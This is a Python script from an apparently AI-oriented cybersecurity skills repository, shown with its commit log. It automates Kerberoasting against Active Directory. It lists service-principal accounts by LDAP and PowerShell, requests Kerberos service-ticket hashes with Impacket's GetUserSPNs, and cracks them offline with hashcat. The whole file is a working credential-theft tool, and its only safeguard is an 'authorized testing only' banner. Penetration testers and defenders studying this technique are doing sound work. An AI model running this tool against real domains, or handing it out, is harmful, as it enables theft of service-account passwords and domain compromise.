Files
Anthropic-Cybersecurity-Skills/skills/exploiting-kerberoasting-with-impacket/scripts/agent.py
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

141 lines
5.2 KiB
Python

#!/usr/bin/env python3
"""Agent for Kerberoasting attacks using Impacket (T1558.003) — authorized testing."""
import argparse
import json
import subprocess
from datetime import datetime, timezone
def run_getuserspns(domain, username, password, dc_ip, output_file=None):
"""Execute Impacket GetUserSPNs to extract service ticket hashes."""
cmd = [
"GetUserSPNs.py", f"{domain}/{username}:{password}",
"-dc-ip", dc_ip, "-request",
]
if output_file:
cmd.extend(["-outputfile", output_file])
try:
result = subprocess.check_output(
cmd, text=True, errors="replace", timeout=60
)
return {"status": "success", "output": result[:2000]}
except subprocess.SubprocessError as e:
return {"status": "failed", "error": str(e)[:200]}
except FileNotFoundError:
return {"status": "failed", "error": "GetUserSPNs.py not found — install impacket"}
def enumerate_spn_accounts_ldap(domain, username, password, dc_ip):
"""Enumerate SPN accounts via LDAP query."""
cmd = [
"GetUserSPNs.py", f"{domain}/{username}:{password}",
"-dc-ip", dc_ip,
]
try:
result = subprocess.check_output(
cmd, text=True, errors="replace", timeout=30
)
accounts = []
for line in result.strip().splitlines():
if line and not line.startswith(("-", "Impacket", "ServicePrincipalName")):
parts = line.split()
if len(parts) >= 3:
accounts.append({
"spn": parts[0],
"name": parts[1],
"memberof": parts[2] if len(parts) > 2 else "",
})
return accounts
except (subprocess.SubprocessError, FileNotFoundError):
return []
def crack_with_hashcat(hash_file, wordlist, rules=None):
"""Crack Kerberos TGS hashes with hashcat."""
cmd = ["hashcat", "-m", "13100", hash_file, wordlist, "--force"]
if rules:
cmd.extend(["-r", rules])
try:
result = subprocess.check_output(
cmd, text=True, errors="replace", timeout=600
)
return {"status": "completed", "output": result[:1000]}
except subprocess.SubprocessError as e:
return {"status": "failed", "error": str(e)[:200]}
except FileNotFoundError:
return {"status": "failed", "error": "hashcat not found"}
def enumerate_powershell():
"""Enumerate SPN accounts via PowerShell (domain-joined Windows)."""
ps_cmd = (
"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties "
"ServicePrincipalName,PasswordLastSet,Enabled,MemberOf "
"| Select-Object SamAccountName,Enabled,PasswordLastSet,"
"@{N='SPNs';E={$_.ServicePrincipalName -join ','}} "
"| ConvertTo-Json"
)
try:
result = subprocess.check_output(
["powershell", "-NoProfile", "-Command", ps_cmd],
text=True, errors="replace", timeout=30
)
data = json.loads(result) if result.strip() else []
return data if isinstance(data, list) else [data]
except (subprocess.SubprocessError, json.JSONDecodeError):
return []
def main():
parser = argparse.ArgumentParser(
description="Kerberoasting with Impacket (authorized testing only)"
)
parser.add_argument("--domain", help="AD domain")
parser.add_argument("--username", help="Domain username")
parser.add_argument("--password", help="Domain password")
parser.add_argument("--dc-ip", help="Domain controller IP")
parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
parser.add_argument("--request", action="store_true", help="Request TGS tickets")
parser.add_argument("--hash-file", help="Output file for hashes")
parser.add_argument("--crack", help="Wordlist for hash cracking")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] Kerberoasting Agent (Impacket)")
print("[!] For authorized security testing only")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}
if args.enumerate:
if args.domain and args.username:
accounts = enumerate_spn_accounts_ldap(
args.domain, args.username, args.password or "", args.dc_ip or ""
)
else:
accounts = enumerate_powershell()
report["findings"]["spn_accounts"] = accounts
print(f"[*] SPN accounts found: {len(accounts)}")
if args.request and args.domain:
result = run_getuserspns(
args.domain, args.username or "", args.password or "",
args.dc_ip or "", args.hash_file
)
report["findings"]["ticket_request"] = result
print(f"[*] Ticket request: {result['status']}")
if args.crack and args.hash_file:
crack_result = crack_with_hashcat(args.hash_file, args.crack)
report["findings"]["cracking"] = crack_result
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()